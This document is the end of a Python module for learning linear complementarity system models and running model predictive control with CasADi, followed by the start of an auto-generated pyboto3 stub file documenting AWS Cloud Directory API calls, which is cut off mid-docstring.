np.zeros(self.n_state).tolist() # formulate the NLP for k in range(self.control_horizon): # New NLP variable for the control Uk = casadi.SX.sym('U_' + str(k), self.n_control) w += [Uk] lbw += self.n_control * [-inf] ubw += self.n_control * [inf] w0 += self.n_control * [0.] # new NLP variable for the complementarity variable Lamk = casadi.SX.sym('lam' + str(k), self.n_lam) w += [Lamk] lbw += self.n_lam * [0.] ubw += self.n_lam * [inf] w0 += self.n_lam * [0.] # Add complementarity equation g += [self.D @ Xk + self.E @ Uk + self.F @ Lamk + self.lcp_offset] lbg += self.n_lam * [0.] ubg += self.n_lam * [inf] g += [casadi.dot(self.D @ Xk + self.E @ Uk + self.F @ Lamk + self.lcp_offset, Lamk)] lbg += [0.] ubg += [0.] # Integrate till the end of the interval Xnext = self.A @ Xk + self.B @ Uk + self.C @ Lamk # compute the current cost Uk_ref = SX.sym('Uk_ref' + str(k), self.n_control) p += [Uk_ref] Ck = dot(Xk, self.Q @ Xk) + dot(Uk, self.R @ Uk) + dot(Uk - Uk_ref, Uk - Uk_ref) / proximity_epsilon J = J + Ck # New NLP variable for state at end of interval Xk = casadi.SX.sym('X_' + str(k + 1), self.n_state) w += [Xk] lbw += self.n_state * [-inf] ubw += self.n_state * [inf] w0 += self.n_state * [0.] # Add constraint for the dynamics g += [Xnext - Xk] lbg += self.n_state * [0.] ubg += self.n_state * [0.] # Add the final cost J = J + dot(Xk, self.QN @ Xk) # Create an NLP solver and solve p += [self.lcs_theta] opts = {'ipopt.print_level': 0, 'ipopt.sb': 'yes', 'print_time': 0} prob = {'f': J, 'x': casadi.vertcat(*w), 'g': casadi.vertcat(*g), 'p': vertcat(*p)} self.oc_solver = casadi.nlpsol('solver', 'ipopt', prob, opts) self.lbw = DM(lbw) self.ubw = DM(ubw) self.lbg = DM(lbg) self.ubg = DM(ubg) self.w0 = DM(w0) self.prev_init_state_batch = [] def EvaluateMS(self, lcs_learner, init_state_batch, control_traj_batch): if not hasattr(self, 'oc_solver'): self.initializeUpdater() lcs_theta = lcs_learner.computeLCSMats() # compute the state batch_trajectory pred_state_traj_batch, pred_lam_traj_batch = lcs_learner.sim_dyn(init_state_batch, control_traj_batch) # # debug for plotting # plt.plot(true_state_traj_batch[0]) # plt.plot(pred_state_traj_batch[0]) # plt.show() # =============================================== # do the update of the control sequence batch_size = len(control_traj_batch) updated_control_traj_batch = [] updated_pred_state_traj_batch = [] updated_pred_lam_traj_batch = [] # this is for warm start for the next iteration curr_init_state_batch = [] for i in range(batch_size): init_state = init_state_batch[i] # step upt the oc solver lbw = self.lbw ubw = self.ubw lbw[0:self.n_state] = DM(init_state) ubw[0:self.n_state] = DM(init_state) init_w = self.w0 init_w[0:self.n_state] = DM(init_state) # ========================= no action # u_traj = control_traj_batch[i] # oc_para = vertcat(u_traj.flatten(), lcs_theta) # ========================= do the correspondence # if len(self.prev_init_state_batch) == 0: # u_traj = control_traj_batch[i] # oc_para = vertcat(u_traj.flatten(), lcs_theta) # else: # # check the current initial is close to which previous initial condition # close_index = find_closest(self.prev_init_state_batch, init_state) # u_traj = control_traj_batch[close_index] # oc_para = vertcat(u_traj.flatten(), lcs_theta) # curr_init_state_batch += [init_state] # ========================= do the meaning sum_u_traj = 0 for j in range(batch_size): sum_u_traj += control_traj_batch[i] mean_u_traj = sum_u_traj / batch_size oc_para = vertcat(mean_u_traj.flatten(), lcs_theta) # Solve the NLP sol = self.oc_solver(x0=init_w, lbx=lbw, ubx=ubw, lbg=self.lbg, ubg=self.ubg, p=oc_para) w_opt = sol['x'] # extract the optimal control and state sol_traj = w_opt[0:self.control_horizon * (self.n_state + self.n_control + self.n_lam)].reshape( (self.n_state + self.n_control + self.n_lam, -1)) x_traj = casadi.horzcat(sol_traj[0:self.n_state, :], w_opt[self.control_horizon * (self.n_state + self.n_control + self.n_lam):]).T u_traj = sol_traj[self.n_state:self.n_state + self.n_control, :].T lam_traj = sol_traj[self.n_state + self.n_control:, :].T updated_control_traj_batch += [u_traj.full()] updated_pred_state_traj_batch += [x_traj.full()] updated_pred_lam_traj_batch += [lam_traj.full()] self.prev_init_state_batch = curr_init_state_batch return updated_control_traj_batch # compute the gradient of the control input using the recovery matrix (Jin. et al. IJRR) # evaluation object to evaluate the learned lcs model using a control cost function # random_initial condition class MPC_Controller: def __init__(self, lcs_learner): self.name = 'lcs evaluation' # define the system variables self.n_state = lcs_learner.n_state self.n_control = lcs_learner.n_control self.n_lam = lcs_learner.n_lam # define the system variables self.x = SX.sym('x', self.n_state) self.u = SX.sym('u', self.n_control) self.lam = SX.sym('lam', self.n_lam) # define the system matrices self.A = SX.sym('A', self.n_state, self.n_state) self.B = SX.sym('B', self.n_state, self.n_control) self.C = SX.sym('C', self.n_state, self.n_lam) self.D = SX.sym('D', self.n_lam, self.n_state) self.E = SX.sym('E', self.n_lam, self.n_control) self.F = SX.sym('F', self.n_lam, self.n_lam) self.lcp_offset = SX.sym('lcp_offset', self.n_lam) self.lcs_theta = vertcat(vec(self.A), vec(self.B), vec(self.C), vec(self.D), vec(self.E), vec(self.F), vec(self.lcp_offset)) # define the dynamics self.f = self.A @ self.x + self.B @ self.u + self.C @ self.lam def setCostFunction(self, Q, R, QN): self.Q = DM(Q) self.R = DM(R) self.QN = DM(QN) # define the control cost function self.path_cost = dot(self.x, self.Q @ self.x) + dot(self.u, self.R @ self.u) self.final_cost = dot(self.x, self.QN @ self.x) self.path_cost_fn = Function('path_cost_fn', [self.x, self.u], [self.path_cost]) self.final_cost_fn = Function('final_cost_fn', [self.x], [self.final_cost]) def computeCost(self, control_traj_batch, state_traj_batch): cost_batch = [] batch_size = len(control_traj_batch) for i in range(batch_size): u_traj = control_traj_batch[i] x_traj = state_traj_batch[i] cost = 0.0 control_horizon = u_traj.shape[0] for t in range(control_horizon): curr_x = x_traj[t] curr_u = u_traj[t] cost += self.path_cost_fn(curr_x, curr_u) cost += self.final_cost_fn(x_traj[-1]) cost_batch += [cost] return cost_batch def differentiable(self): # define the gradient of lam with respect to lcp_theta self.dist = self.D @ self.x + self.E @ self.u + self.F @ self.lam + self.lcp_offset g = diag(self.lam) @ self.dist dg_dlam = jacobian(g, self.lam) dg_dx = jacobian(g, self.x) dg_du = jacobian(g, self.u) dlam_dx = -inv(dg_dlam) @ dg_dx dlam_du = -inv(dg_dlam) @ dg_du # differentiate df_dx = jacobian(self.f, self.x) + jacobian(self.f, self.lam) @ dlam_dx df_du = jacobian(self.f, self.u) + jacobian(self.f, self.lam) @ dlam_du self.dfdx_fn = Function('dfdx_fn', [self.x, self.u, self.lam, self.lcs_theta], [df_dx]) self.dfdu_fn = Function('dfdx_fn', [self.x, self.u, self.lam, self.lcs_theta], [df_du]) # compute the gradient of the cost function self.dcdx = jacobian(self.path_cost, self.x).T self.dcdu = jacobian(self.path_cost, self.u).T self.dhdx = jacobian(self.final_cost, self.x).T # establish the functions for the above gradient self.dcdx_fn = Function('dcdx_fn', [self.x, self.u], [self.dcdx]) self.dcdu_fn = Function('dcdu_fn', [self.x, self.u], [self.dcdu]) self.dhdx_fn = Function('dhdx_fn', [self.x], [self.dhdx]) def initializeMPC(self, mpc_horizon): self.mpc_horizon = mpc_horizon # Start with an empty NLP w = [] w0 = [] lbw = [] ubw = [] J = 0 g = [] lbg = [] ubg = [] lcs_theta = vertcat(vec(self.A), vec(self.B), vec(self.C), vec(self.D), vec(self.E), vec(self.F), vec(self.lcp_offset)) # "Lift" initial conditions Xk = casadi.SX.sym('X0', self.n_state) w += [Xk] lbw += np.zeros(self.n_state).tolist() ubw += np.zeros(self.n_state).tolist() w0 += np.zeros(self.n_state).tolist() # formulate the NLP for k in range(self.mpc_horizon): # New NLP variable for the control Uk = casadi.SX.sym('U_' + str(k), self.n_control) w += [Uk] lbw += self.n_control * [-inf] ubw += self.n_control * [inf] w0 += self.n_control * [0.] # new NLP variable for the complementarity variable Lamk = casadi.SX.sym('lam' + str(k), self.n_lam) w += [Lamk] lbw += self.n_lam * [0.] ubw += self.n_lam * [inf] w0 += self.n_lam * [0.] # Add complementarity equation g += [self.D @ Xk + self.E @ Uk + self.F @ Lamk + self.lcp_offset] lbg += self.n_lam * [0.] ubg += self.n_lam * [inf] g += [casadi.dot(self.D @ Xk + self.E @ Uk + self.F @ Lamk + self.lcp_offset, Lamk)] lbg += [0.] ubg += [0.] # Integrate till the end of the interval Xnext = self.A @ Xk + self.B @ Uk + self.C @ Lamk Ck = dot(Xk, self.Q @ Xk) + dot(Uk, self.R @ Uk) J = J + Ck # New NLP variable for state at end of interval Xk = casadi.SX.sym('X_' + str(k + 1), self.n_state) w += [Xk] lbw += self.n_state * [-inf] ubw += self.n_state * [inf] w0 += self.n_state * [0.] # Add constraint for the dynamics g += [Xnext - Xk] lbg += self.n_state * [0.] ubg += self.n_state * [0.] # Add the final cost J = J + dot(Xk, self.QN @ Xk) # Create an NLP solver and solve opts = {'ipopt.print_level': 0, 'ipopt.sb': 'yes', 'print_time': 0} prob = {'f': J, 'x': casadi.vertcat(*w), 'g': casadi.vertcat(*g), 'p': lcs_theta} self.oc_solver = casadi.nlpsol('solver', 'ipopt', prob, opts) self.lbw = DM(lbw) self.ubw = DM(ubw) self.lbg = DM(lbg) self.ubg = DM(ubg) self.w0 = DM(w0) def mpc(self, lcs_learner, state_batch, lcs_theta=None): # take out the current lcs system parameter if lcs_theta is None: lcs_theta = lcs_learner.computeLCSMats() else: lcs_theta = lcs_theta # do the one step mpc state_batch = list(state_batch) batch_size = len(state_batch) control_batch = [] for i in range(batch_size): state = state_batch[i] # set the optimal control bounds lbw = self.lbw ubw = self.ubw init_w = self.w0 lbw[0:self.n_state] = DM(state) ubw[0:self.n_state] = DM(state) init_w[0:self.n_state] = DM(state) # set the optimal control parameter oc_parameters = DM(lcs_theta) sol = self.oc_solver(x0=self.w0, lbx=self.lbw, ubx=self.ubw, lbg=self.lbg, ubg=self.ubg, p=oc_parameters) w_opt = sol['x'] self.w0 = w_opt # extract the optimal control and state sol_traj = w_opt[0:self.mpc_horizon * (self.n_state + self.n_control + self.n_lam)].reshape( (self.n_state + self.n_control + self.n_lam, -1)) x_traj = casadi.horzcat(sol_traj[0:self.n_state, :], w_opt[self.mpc_horizon * (self.n_state + self.n_control + self.n_lam):]).T.full() u_traj = sol_traj[self.n_state:self.n_state + self.n_control, :].T.full() lam_traj = sol_traj[self.n_state + self.n_control:, :].T.full() control_batch += [w_opt[self.n_state:self.n_state + self.n_control].full().flatten()] return control_batch def mpc_step(self, lcs_learner, curr_state, lcs_theta=None): # take out the current lcs system parameter if lcs_theta is None: lcs_theta = lcs_learner.computeLCSMats() else: lcs_theta = lcs_theta # set the optimal control bounds lbw = self.lbw ubw = self.ubw init_w = self.w0 lbw[0:self.n_state] = DM(curr_state) ubw[0:self.n_state] = DM(curr_state) init_w[0:self.n_state] = DM(curr_state) # set the optimal control parameter oc_parameters = DM(lcs_theta) sol = self.oc_solver(x0=self.w0, lbx=self.lbw, ubx=self.ubw, lbg=self.lbg, ubg=self.ubg, p=oc_parameters) w_opt = sol['x'] self.w0 = w_opt curr_control = w_opt[self.n_state:self.n_state + self.n_control].full().flatten() return curr_control def find_closest(candidate_rows, query): n = len(candidate_rows) min_distance = inf closest_index = 0 for i in range(n): candidate = candidate_rows[i] current_distance = norm_2(candidate - query) if current_distance < min_distance: min_distance = current_distance closest_index = i return closest_index def dataReorgnize(batch_traj): batch_size = len(batch_traj[0]) traj_horizon = len(batch_traj) traj_batch = [] for batch_i in range(batch_size): traj = [] for t in range(traj_horizon): traj += [batch_traj[t][batch_i]] traj = np.array(traj) traj_batch += [traj] return traj_batch

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Python

pyboto3/clouddirectory.py

gehad-shaat/pyboto3

4a0c2851a8bc04fb1c71c36086f7bb257e48181d

[ "MIT" ]

91

2016-12-31T11:38:37.000Z

2021-09-16T19:33:23.000Z

pyboto3/clouddirectory.py

gehad-shaat/pyboto3

4a0c2851a8bc04fb1c71c36086f7bb257e48181d

[ "MIT" ]

7

2017-01-02T18:54:23.000Z

2020-08-11T13:54:02.000Z

pyboto3/clouddirectory.py

gehad-shaat/pyboto3

4a0c2851a8bc04fb1c71c36086f7bb257e48181d

[ "MIT" ]

26

2016-12-31T13:11:00.000Z

2022-03-03T21:01:12.000Z

''' The MIT License (MIT) Copyright (c) 2016 WavyCloud Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def add_facet_to_object(DirectoryArn=None, SchemaFacet=None, ObjectAttributeList=None, ObjectReference=None): """ Adds a new Facet to an object. An object can have more than one facet applied on it. See also: AWS API Documentation Exceptions :example: response = client.add_facet_to_object( DirectoryArn='string', SchemaFacet={ 'SchemaArn': 'string', 'FacetName': 'string' }, ObjectAttributeList=[ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], ObjectReference={ 'Selector': 'string' } ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where the object resides. For more information, see arns .\n :type SchemaFacet: dict :param SchemaFacet: [REQUIRED]\nIdentifiers for the facet that you are adding to the object. See SchemaFacet for details.\n\nSchemaArn (string) --The ARN of the schema that contains the facet with no minor component. See arns and In-Place Schema Upgrade for a description of when to provide minor versions.\n\nFacetName (string) --The name of the facet.\n\n\n :type ObjectAttributeList: list :param ObjectAttributeList: Attributes on the facet that you are adding to the object.\n\n(dict) --The combination of an attribute key and an attribute value.\n\nKey (dict) -- [REQUIRED]The key of the attribute.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the schema that contains the facet and attribute.\n\nFacetName (string) -- [REQUIRED]The name of the facet that the attribute exists within.\n\nName (string) -- [REQUIRED]The name of the attribute.\n\n\n\nValue (dict) -- [REQUIRED]The value of the attribute.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nA reference to the object you are adding the specified facet to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetValidationException :return: {} :returns: (dict) -- """ pass def apply_schema(PublishedSchemaArn=None, DirectoryArn=None): """ Copies the input published schema, at the specified version, into the Directory with the same name and version as that of the published schema. See also: AWS API Documentation Exceptions :example: response = client.apply_schema( PublishedSchemaArn='string', DirectoryArn='string' ) :type PublishedSchemaArn: string :param PublishedSchemaArn: [REQUIRED]\nPublished schema Amazon Resource Name (ARN) that needs to be copied. For more information, see arns .\n :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory into which the schema is copied. For more information, see arns .\n :rtype: dict ReturnsResponse Syntax { 'AppliedSchemaArn': 'string', 'DirectoryArn': 'string' } Response Structure (dict) -- AppliedSchemaArn (string) -- The applied schema ARN that is associated with the copied schema in the Directory . You can use this ARN to describe the schema information applied on this directory. For more information, see arns . DirectoryArn (string) -- The ARN that is associated with the Directory . For more information, see arns . Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.SchemaAlreadyExistsException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidAttachmentException :return: { 'AppliedSchemaArn': 'string', 'DirectoryArn': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.SchemaAlreadyExistsException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidAttachmentException """ pass def attach_object(DirectoryArn=None, ParentReference=None, ChildReference=None, LinkName=None): """ Attaches an existing object to another object. An object can be accessed in two ways: See also: AWS API Documentation Exceptions :example: response = client.attach_object( DirectoryArn='string', ParentReference={ 'Selector': 'string' }, ChildReference={ 'Selector': 'string' }, LinkName='string' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nAmazon Resource Name (ARN) that is associated with the Directory where both objects reside. For more information, see arns .\n :type ParentReference: dict :param ParentReference: [REQUIRED]\nThe parent object reference.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type ChildReference: dict :param ChildReference: [REQUIRED]\nThe child object reference to be attached to the object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type LinkName: string :param LinkName: [REQUIRED]\nThe link name with which the child object is attached to the parent.\n :rtype: dict ReturnsResponse Syntax { 'AttachedObjectIdentifier': 'string' } Response Structure (dict) -- AttachedObjectIdentifier (string) -- The attached ObjectIdentifier , which is the child ObjectIdentifier . Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.LinkNameAlreadyInUseException CloudDirectory.Client.exceptions.InvalidAttachmentException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.FacetValidationException :return: { 'AttachedObjectIdentifier': 'string' } :returns: DirectoryArn (string) -- [REQUIRED] Amazon Resource Name (ARN) that is associated with the Directory where both objects reside. For more information, see arns . ParentReference (dict) -- [REQUIRED] The parent object reference. Selector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call ChildReference (dict) -- [REQUIRED] The child object reference to be attached to the object. Selector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call LinkName (string) -- [REQUIRED] The link name with which the child object is attached to the parent. """ pass def attach_policy(DirectoryArn=None, PolicyReference=None, ObjectReference=None): """ Attaches a policy object to a regular object. An object can have a limited number of attached policies. See also: AWS API Documentation Exceptions :example: response = client.attach_policy( DirectoryArn='string', PolicyReference={ 'Selector': 'string' }, ObjectReference={ 'Selector': 'string' } ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where both objects reside. For more information, see arns .\n :type PolicyReference: dict :param PolicyReference: [REQUIRED]\nThe reference that is associated with the policy object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nThe reference that identifies the object to which the policy will be attached.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.NotPolicyException :return: {} :returns: (dict) -- """ pass def attach_to_index(DirectoryArn=None, IndexReference=None, TargetReference=None): """ Attaches the specified object to the specified index. See also: AWS API Documentation Exceptions :example: response = client.attach_to_index( DirectoryArn='string', IndexReference={ 'Selector': 'string' }, TargetReference={ 'Selector': 'string' } ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the directory where the object and index exist.\n :type IndexReference: dict :param IndexReference: [REQUIRED]\nA reference to the index that you are attaching the object to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type TargetReference: dict :param TargetReference: [REQUIRED]\nA reference to the object that you are attaching to the index.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'AttachedObjectIdentifier': 'string' } Response Structure (dict) -- AttachedObjectIdentifier (string) -- The ObjectIdentifier of the object that was attached to the index. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.InvalidAttachmentException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.LinkNameAlreadyInUseException CloudDirectory.Client.exceptions.IndexedAttributeMissingException CloudDirectory.Client.exceptions.NotIndexException :return: { 'AttachedObjectIdentifier': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.InvalidAttachmentException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.LinkNameAlreadyInUseException CloudDirectory.Client.exceptions.IndexedAttributeMissingException CloudDirectory.Client.exceptions.NotIndexException """ pass def attach_typed_link(DirectoryArn=None, SourceObjectReference=None, TargetObjectReference=None, TypedLinkFacet=None, Attributes=None): """ Attaches a typed link to a specified source and target object. For more information, see Typed Links . See also: AWS API Documentation Exceptions :example: response = client.attach_typed_link( DirectoryArn='string', SourceObjectReference={ 'Selector': 'string' }, TargetObjectReference={ 'Selector': 'string' }, TypedLinkFacet={ 'SchemaArn': 'string', 'TypedLinkName': 'string' }, Attributes=[ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the directory where you want to attach the typed link.\n :type SourceObjectReference: dict :param SourceObjectReference: [REQUIRED]\nIdentifies the source object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type TargetObjectReference: dict :param TargetObjectReference: [REQUIRED]\nIdentifies the target object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type TypedLinkFacet: dict :param TypedLinkFacet: [REQUIRED]\nIdentifies the typed link facet that is associated with the typed link.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n\nTypedLinkName (string) -- [REQUIRED]The unique name of the typed link facet.\n\n\n :type Attributes: list :param Attributes: [REQUIRED]\nA set of attributes that are associated with the typed link.\n\n(dict) --Identifies the attribute name and value for a typed link.\n\nAttributeName (string) -- [REQUIRED]The attribute name of the typed link.\n\nValue (dict) -- [REQUIRED]The value for the typed link.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 